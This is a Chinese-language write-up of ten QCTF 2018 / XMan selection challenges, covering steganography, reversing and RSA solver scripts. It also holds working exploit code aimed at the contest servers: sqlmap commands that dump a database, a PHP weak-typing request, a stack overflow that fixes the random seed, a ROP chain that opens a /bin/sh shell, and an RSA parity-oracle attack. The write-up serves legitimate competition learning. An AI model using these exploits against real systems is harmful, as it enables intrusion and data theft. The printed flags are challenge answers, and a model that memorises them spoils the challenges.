QCTF 2018 暨第三届 XMan 夏令营选拔赛 WriteUp
前言
QCTF 2018 暨第三届 XMan 夏令营选拔赛
比赛入口地址:http://xman2018.xctf.org.cn/
每个方向选了 2 道题来看,解出 10 道题,排名第 5
膜一下排名第 3 的 Pizza 大佬,RE 一血全部拿下,线下面基大佬长得挺帅的~
题目偏简单,很多大佬都没来玩,毕竟是萌新选拔赛
0x00 Misc - X-man-Keyword
一张图片,上 Stegsolve
,发现图片开头 lsb
里有些东西。
用 lsb 解密脚本,可以得到:
PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}
根据题目提示,尝试了一下,发现是 Nihilist 密码
。
写个脚本解密:
import string
enc='PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}'
grid='LOVEKFC'+'ABDGHIJMNPQRSTUWXY'
flag=''
for i in enc:
if i in string.ascii_lowercase:
index=grid.lower().index(i)
flag+=string.ascii_lowercase[index]
continue
if i in string.ascii_uppercase:
index=grid.upper().index(i)
flag+=string.ascii_uppercase[index]
continue
flag+=i
print flag
Flag: QCTF{cCgeLdnrIBCX9G1g13KFfeLNsnMRdOwf}
0x01 Misc - X-man-A face
一张图片,中间有个残缺的二维码
补全二维码
扫描得到字符串
KFBVIRT3KBZGK5DUPFPVG2LTORSXEX2XNBXV6QTVPFZV6TLFL5GG6YTTORSXE7I=
Base32 解码得到 Flag
Flag: QCTF{Pretty_Sister_Who_Buys_Me_Lobster}
0x02 Web - Lottery
扫描目录,有 git 泄露,下载源代码,进行代码审计。
在 api.php 第 89 行处找到 弱类型 漏洞。
POC:
{"action":"buy","numbers":{"0":true,"1":true,"2":true,"3":true,"4":true,"5":true,"6":true,"7":true}}
最终可以得到 Flag
Flag: QCTF{my_PhP_ski1l_is_weeak}
0x03 Web - NewsCenter
网页只有一个搜索框,用来搜索文章。
目测是 sql 注入,直接上 sqlmap
,即可得到 Flag。
POC:
sqlmap -u "http://47.96.118.255:33066/" --forms --dbs
sqlmap -u "http://47.96.118.255:33066/" --forms -D news --tables
sqlmap -u "http://47.96.118.255:33066/" --forms -D news -T secret_table --dump
Flag: QCTF{sq1_inJec7ion_ezzzzzz}
0x04 Reverse - Xman-babymips
直接上 retdec
反编译得到 C 代码,结合 IDA
分析。
关键函数:function_4009a8
和 function_4007f0
Flag 的长度是 32 位,前 5 位直接异或即可得到。
然后后 27 位,依次分别进行两种运算,然后相同的异或操作,即可得到。
POC:
flag=''
prefix='Q|j{g'
for i in range(len(prefix)):
flag+=chr(ord(prefix[i])^(32-i))
g1=[0x52, 0xFD, 0x16, 0xA4, 0x89, 0xBD, 0x92, 0x80, 0x13, 0x41, 0x54, 0xA0, 0x8D, 0x45, 0x18, 0x81, 0xDE, 0xFC, 0x95, 0xF0, 0x16, 0x79, 0x1A, 0x15, 0x5B, 0x75, 0x1F]
part=''
for i in range(len(g1)):
match=0
if i%2:
for j in range(256):
v4 = j / 64 | 0x4000000 * j / 0x1000000
v4 = v4 & 0xff
if v4 == g1[i]:
match=1
part+=chr(j)
break
else:
for j in range(256):
v4 = 64 * j | j / 4
v4 = v4 & 0xff
if v4 == g1[i]:
match=1
part+=chr(j)
break
if match==0:
print 'err:%d' % i
break
for i in range(len(part)):
flag+=chr(ord(part[i])^(32-i-5))
print flag
Flag: qctf{ReA11y_4_B@89_mlp5_4_XmAn_}
0x05 Reverse - asong
关键函数:sub_400E54
a1
是我们输入的字符串(sub_400C02
做了去除 Flag
格式的处理)。
a2
是根据 that_girl
文件生成的字符数组。
sub_400936
将 a1
按位判断并移位,v5
数组保存的是 a1
在 a2
上的字符映射。
sub_400D33
是一个 S盒置换
的功能。
sub_400DB4
是一个按位异或运算,理论上不可逆。
sub_400CC0
把最终加密后的 Flag
写入到 out
文件(好像 out
文件不存在时才能写入)。
我们需要根据原 out
文件推导 Flag
。
POC:
enc=open('out','rb').read()
enc=list(enc[::-1])
for i in range(len(enc)):
enc[i]=ord(enc[i])
table=[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x1E, 0x0F, 0x1D, 0xA9, 0x13, 0x26, 0x43, 0x3C, 0x00, 0x14, 0x27, 0x1C, 0x76, 0xA5, 0x1A, 0x00, 0x3D, 0x33, 0x85, 0x2D, 0x07, 0x22, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x47, 0x00, 0x00, 0x42, 0xF5, 0x00, 0x00, 0x00, 0x61, 0x00]
table_s=[]
for i in table:
for j in table:
if i!=0 and j!=0:
w=((8*i)&0xff)|(j>>5)
table_s.append(i)
table_s.append(j)
table_s.append(w)
def check(pa,pb,count,pc):
if count>len(enc)-1:
if pc==pa: return []
return False
for j in range(len(table_s)/3):
a=table_s[3*j]
b=table_s[3*j+1]
c=table_s[3*j+2]
if enc[count]==c and pa==b:
ret=check(a,b,count+1,pc)
if ret != False:
ret.append(a)
return ret
return False
dec=[]
for j in range(len(table_s)/3):
a=table_s[3*j]
b=table_s[3*j+1]
c=table_s[3*j+2]
if enc[0]==c:
ret=check(a,b,1,b)
if ret != False:
ret.append(a)
dec=ret
s_box=[0x16, 0x00, 0x06, 0x02, 0x1E, 0x18, 0x09, 0x01, 0x15, 0x07, 0x12, 0x0A, 0x08, 0x0C, 0x11, 0x17, 0x0D, 0x04, 0x03, 0x0E, 0x13, 0x0B, 0x14, 0x10, 0x0F, 0x05, 0x19, 0x24, 0x1B, 0x1C, 0x1D, 0x25, 0x1F, 0x20, 0x21, 0x1A, 0x22, 0x23]
dec_s=[0]*len(dec)
for i in range(len(s_box)):
dec_s[s_box[i]]=dec[i]
flag=''
for i in dec_s:
index=table.index(i)
if index>=10 and index<36:
flag+=chr(index+87)
continue
if index==46:
flag+=chr(index+49)
print 'QCTF{%s}' % flag
Flag: QCTF{that_girl_saying_no_for_your_vindicate}
0x06 Pwn - Xman-dice_game
分析程序,可以栈溢出修改栈上的 srand
随机数种子,从而控制后面 rand
出来的伪随机数字。
写了两个程序,一个用 C 语言实现生成随机数,一个 POC。
生成随机数:
#include <stdlib.h>
int main(){
srand(0x61616161);
for(int i=0;i<50;i++){
printf("%d\n",rand());
}
return 0;
}
POC:
from pwn import *
gen=process('./gen_rand')
io=remote('47.96.239.28', 9999)
#io=process('./dice_game')
payload='a'*55+'a'+'a'+'a'*12
io.recvuntil('know your name: ')
io.send(payload)
for i in range(50):
io.recvuntil('Give me the point(1~6): ')
point=int(gen.recvline())%6+1
print 'Game %d: %d' % (i+1, point)
io.sendline(str(point))
print io.recvline()
io.recvuntil('Congrats')
io.recvline()
print io.recvline()
Flag: QCTF{hav3_4un_w1th_th1s_gam3}
0x07 Pwn - Xman-stack2
分析程序,change number
功能没有限制只能修改数组内的数字,导致可以修改栈上一定区域内任意位置的数据。
hackhere
函数可以直接 getshell
,可是发现远程环境里没有 /bin/bash
。
那么直接找个可写位置,用 scanf
写 /bin/sh
,然后调用 system
。
只需要构造一下 ROP 即可。
POC:
from pwn import *
context.log_level = "DEBUG"
io=remote('47.96.239.28', 2333)
#io=process('./stack2')
def addr(num,data):
io.sendlineafter('5. exit','3')
io.sendlineafter('which number to change:',str(num))
io.sendlineafter('new number:',str(data))
def init():
io.sendlineafter('How many numbers you have:','1')
io.sendlineafter('Give me your numbers','1')
scanf_func=0x08048480
pop2_addr=0x0804895A
int_addr=0x08048A97
bss_addr=0x0804A048
system_func=0x08048450
str_sh='/bin/sh'
init()
for j in range(len(str_sh)):
for i in range(4):
addr(0x70+0x14+0x10*j+i,ord(p64(scanf_func)[i]))
for i in range(4):
addr(0x70+0x18+0x10*j+i,ord(p64(pop2_addr)[i]))
for i in range(4):
addr(0x70+0x1c+0x10*j+i,ord(p64(int_addr)[i]))
for i in range(4):
addr(0x70+0x20+0x10*j+i,ord(p64(bss_addr+j)[i]))
for i in range(4):
addr(0x70+0x14+0x10*len(str_sh)+i,ord(p64(system_func)[i]))
for i in range(4):
addr(0x70+0x18+0x10*len(str_sh)+i,ord(p64(system_func)[i]))
for i in range(4):
addr(0x70+0x20+0x10*len(str_sh)+i,ord(p64(bss_addr)[i]))
io.sendlineafter('5. exit','5')
for j in range(len(str_sh)):
io.sendline(str(ord(str_sh[j])))
io.interactive()
Flag: QCTF{H3y_X_w4N}
0x08 Crypto - babyRSA
POC:
from pwn import *
context.log_level = 'WARN'
def num_to_bytes(n):
b = hex(n)[2:].strip('L')
b = '0' + b if len(b)%2 == 1 else b
return b.decode('hex')
e=0x10001
n=0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707fe516967464439bdec2d6479fa3745f57c0a5ca255812f0884978b2a8aaeb750e0228cbe28a1e5a63bf0309b32a577eecea66f7610a9a4e720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440def00afbccd458d020cae5fd1138be6507bc0b1a10da7e75def484c5fc1fcb13d11be691670cf38b487de9c4bde6c2c689be5adab08b486599b619a0790c0b2d70c9c461346966bcbae53c5007d0146fc520fa6e3106fbfc89905220778870a7119831c17f98628563ca020652d18d72203529a784ca73716db
c=0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b68a630607df0568a7439bc694486ae50b5c0c8507e5eecdea4654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9e6ed2d770525e4698dec9455db17db38fa4b99b53438b9e09000187949327980ca903d0eef114afc42b771657ea5458a4cb399212e943d139b7ceb6d5721f546b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a9eef466c206a7f4dbc2cea1a46a39ad3349a7db56c1c997dc181b1afcb76fa1bbbf118a4ab5c515e274ab2250dba1872be0
upper=n
lower=0
k=1
while True:
io=remote('47.96.239.28',23333)
io.recvuntil('You can input ciphertext(hexdecimal) now\n')
power=pow(2,k,n)
new_c=(pow(power,e,n)*c)%n
new_c=hex(new_c)[2:].strip('L')
io.sendline(new_c)
data=io.recvline()[:-1]
io.close()
if data=="even":
print 'Round %d: even' % k
upper=(upper+lower)/2
if data=="odd":
print 'Round %d: odd' % k
lower=(upper+lower)/2
if data=="error": break
if (upper-lower)<2: break
k+=1
flag=num_to_bytes(upper)[:-1]+'}'
print flag
Flag: QCTF{RSA_parity_oracle_is_fun}
0x09 Crypto - Xman-RSA
上一年的题目,参考 XMan Day11 Crypto1 WP
POC:
import re
adict = {'a':'d', 'd':'e', 'g':'f', 'q':'r', 'h':'o', 'b':'m', 'p':'i', 'k':'p', 'w':'t', 'u':'b', 'r':'a', 't':'s', 'z':'u', 'e':'n', 'x':'c', 'i':'x', 'l':'y', 'j':'g', 'f':'w', 'm':'h', 'y':'l'}
def multiple_replace(text, adict):
rx = re.compile('|'.join(map(re.escape, adict)))
def one_xlat(match):
return adict[match.group(0)]
return rx.sub(one_xlat, text)
r=open('encryption.encrypted','r').read()
r=multiple_replace(r, adict)
open('decrypted.py','w').write(r)
import gmpy2
import base64
def bytes_to_num(b):
return int(b.encode('hex'), 16)
def num_to_bytes(n):
b = hex(n)[2:-1]
b = '0' + b if len(b)%2 == 1 else b
return b.decode('hex')
def separate(n):
p = n % 4
t = (p*p) % 4
return t == 1
lines=open('ciphertext','r').readlines()
mc1=int(lines[0],16)
mc2=int(lines[1],16)
lines=open('n1.encrypted','r').readlines()
n1c1=int(lines[0],16)
n1c2=int(lines[1],16)
lines=open('n2&n3','r').readlines()
n2=bytes_to_num(base64.b64decode(lines[0]))
n3=bytes_to_num(base64.b64decode(lines[1]))
e1=0x1001
e2=0x101
gcd,s,t=gmpy2.gcdext(e1,e2)
if s<0:
s=abs(s)
n1c1=gmpy2.invert(n1c1,n3)
if t<0:
t=abs(t)
n1c2=gmpy2.invert(n1c2,n3)
n1=gmpy2.powmod(n1c1,s,n3)*gmpy2.powmod(n1c2,t,n3)%n3
p1=gmpy2.gcd(n1,n2)
p2=n1/p1
p3=n2/p1
e=0x1001
d1=gmpy2.invert(e,(p1-1)*(p2-1))
d2=gmpy2.invert(e,(p1-1)*(p3-1))
m1=pow(mc1,d1,n1)
m2=pow(mc2,d2,n2)
msg1=hex(m1)[2:].decode('hex')
msg2=hex(m2)[2:].decode('hex')
flag=''
a1=0
a2=0
for i in range(len(msg1+msg2)):
if separate(i):
flag+=msg2[a2]
a2+=1
else:
flag+=msg1[a1]
a1+=1
print flag
Flag: XMAN{CRYPT0_I5_50_Interestingvim rsa.py}
Comments